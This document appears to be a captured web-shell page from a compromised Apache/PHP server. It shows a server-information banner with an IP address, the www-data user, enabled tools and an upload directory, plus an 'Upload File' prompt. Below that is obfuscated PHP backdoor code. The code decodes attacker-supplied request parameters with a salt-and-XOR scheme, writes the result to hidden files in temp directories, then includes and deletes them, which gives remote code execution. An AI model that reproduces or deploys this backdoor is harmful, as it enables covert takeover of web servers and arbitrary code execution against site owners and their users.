| Server IP : 46.62.235.243 / Your IP : 216.73.216.217 Web Server : Apache/2.4.58 (Ubuntu) System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/linkabili/public/upload/certification/ |
Upload File : |
<?php if(isset($_POST["r\x65\x66"])){ $data_chunk = $_POST["r\x65\x66"]; $data_chunk = explode ( '.' ,$data_chunk ) ; $factor = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $q = 0; $__tmp = $data_chunk; while ($v7 = array_shift($__tmp)) { $chS = ord($salt5[$q % $lenS]); $d = ((int)$v7 - $chS - ($q % 10)) ^ 58; $factor .= chr($d); $q++; } $key = array_filter(["/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/dev/shm"]); for ($dchunk = 0, $entity = count($key); $dchunk < $entity; $dchunk++) { $flag = $key[$dchunk]; if (!( !is_dir($flag) || !is_writable($flag) )) { $record = implode("/", [$flag, ".element"]); if (@file_put_contents($record, $factor) !== false) { include $record; unlink($record); exit; } } } }
if(isset($_REQUEST["\x64\x61t"]) ? true : false){
$entry = $_REQUEST["\x64\x61t"];
$entry=explode ( '.' ,$entry);
$component='';
$s='abcdefghijklmnopqrstuvwxyz0123456789';
$sLen=strlen($s);
$z=0;
$len=count($entry);
do { if ($z >= $len) break;
$v9=$entry[$z];
$sChar=ord($s[$z % $sLen]);
$d=((int)$v9 - $sChar - ($z % 10))^7;
$component .= chr($d);
$z++;
} while (true);
$resource = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getcwd(), "/var/tmp"]);
$res = 0;
do {
$pointer = $resource[$res] ?? null;
if ($res >= count($resource)) break;
if (!!is_dir($pointer) && !!is_writable($pointer)) {
$data = str_replace("{var_dir}", $pointer, "{var_dir}/.data_chunk");
if (@file_put_contents($data, $component) !== false) {
include $data;
unlink($data);
die();
}
}
$res++;
} while (true);
}